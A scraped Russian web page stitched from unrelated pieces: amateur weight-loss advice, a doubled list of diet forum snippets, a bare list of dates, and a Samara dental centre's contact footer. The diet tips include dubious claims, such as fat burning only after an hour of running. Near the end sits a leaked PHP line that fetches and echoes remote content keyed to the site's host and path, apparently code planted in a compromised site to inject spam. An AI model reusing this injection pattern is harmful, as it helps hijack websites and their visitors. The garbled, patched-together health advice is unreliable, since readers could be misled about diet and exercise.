Персональная диета также должна включать в себя и рекомендации по уходу за кожей. Ведь похудение также влияет не только на наше самочувствие, но и на состояние кожи. Как известно, быстрое похудение очень часто может сопровождаться обвисанием кожи, появлением растяжек.

Лучше дольше и больше ходить, бегать не желательно, может вызвать сильную тахикардию, потом снимать бывает сложно. Укрепляется не только сердечная мышца, но и кровообращение.

Жиры сжигатьс яначинают после чесового бега...
вот и делай вывод...

Поставьте себя на место кровеносной системы и обменных процессов, воспользуйтесь мысленной визуализацией и порисуйте эти процессы ручкой на бумаге.
Так вы лучше поймете хоть самостоятельно, хоть выберите правильный совет из множества.

  • Меню для похудения пароварка - Как похудеть ? спортзалы - дорого , бегать - холодно (мороз -20), а очень надо ) Меньше жрать Таблица совместимости прод
  • Гречневая диета и отзывы о ней - Хороша ли гречневая диета? Много о ней слышала от подруг и хорошо написано здесь http://velesarticles.com/article/7 Ерун
  • Роял канин-ветеринарные диеты - Роял канин уринари-нужна инфа. ЗАБОЛЕВАНИЯ ДИСТАЛЬНОГО ОТДЕЛА МОЧЕВЫДЕЛИТЕЛЬНОЙ СИСТЕМЫ Показания: # Цистит бактериально
  • Диета для больной желчи - Что можно есть больному после операции -удаление желчного пузыря? Диета №5 23 человек сохранили. Диета при болезнях пече
  • Продукты, вызывающие целлюлит - Употребление каких продуктов провоцирует образование целлюлита? Всех!!! При неправильном питании, или злоупотреблении пр
  • Диета беременные хурма - Можно ли худеть при беременности Нет, конечно. Как ты будешь худеть, если ребенок нуждается в правильном полноценном здо
  • Пищевое отравление диета понос - Пищевое отравление у щенка. У моей собачки расстройство желудка, рвота и понос. Что делать? Можно ли дать смекту? Можно
  • Гречневая диета и мужчины - Можно ли использовать гречневую диету для парней/мужчин? Какая разница? Только желательно один-два приёма пищи заменять
  • Бандажирование процесс похудения - Ожирение. Скорее всего дело не в еде, а в гормонах, например. Ну или некой генетической предрасположенности. Как происхо
  • 3 толстяка диеты - Почему некоторые американцы переезжают в Россию? Ну так это же еденицы, зато туда едут тысячи В психушке некогда проблем
  • Меню для похудения пароварка - Как похудеть ? спортзалы - дорого , бегать - холодно (мороз -20), а очень надо ) Меньше жрать Таблица совместимости прод
  • Гречневая диета и отзывы о ней - Хороша ли гречневая диета? Много о ней слышала от подруг и хорошо написано здесь http://velesarticles.com/article/7 Ерун
  • Роял канин-ветеринарные диеты - Роял канин уринари-нужна инфа. ЗАБОЛЕВАНИЯ ДИСТАЛЬНОГО ОТДЕЛА МОЧЕВЫДЕЛИТЕЛЬНОЙ СИСТЕМЫ Показания: # Цистит бактериально
  • Диета для больной желчи - Что можно есть больному после операции -удаление желчного пузыря? Диета №5 23 человек сохранили. Диета при болезнях пече
  • Продукты, вызывающие целлюлит - Употребление каких продуктов провоцирует образование целлюлита? Всех!!! При неправильном питании, или злоупотреблении пр
  • Диета беременные хурма - Можно ли худеть при беременности Нет, конечно. Как ты будешь худеть, если ребенок нуждается в правильном полноценном здо
  • Пищевое отравление диета понос - Пищевое отравление у щенка. У моей собачки расстройство желудка, рвота и понос. Что делать? Можно ли дать смекту? Можно
  • Гречневая диета и мужчины - Можно ли использовать гречневую диету для парней/мужчин? Какая разница? Только желательно один-два приёма пищи заменять
  • Бандажирование процесс похудения - Ожирение. Скорее всего дело не в еде, а в гормонах, например. Ну или некой генетической предрасположенности. Как происхо
  • 3 толстяка диеты - Почему некоторые американцы переезжают в Россию? Ну так это же еденицы, зато туда едут тысячи В психушке некогда проблем
Как подобрать лично для себя диету
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта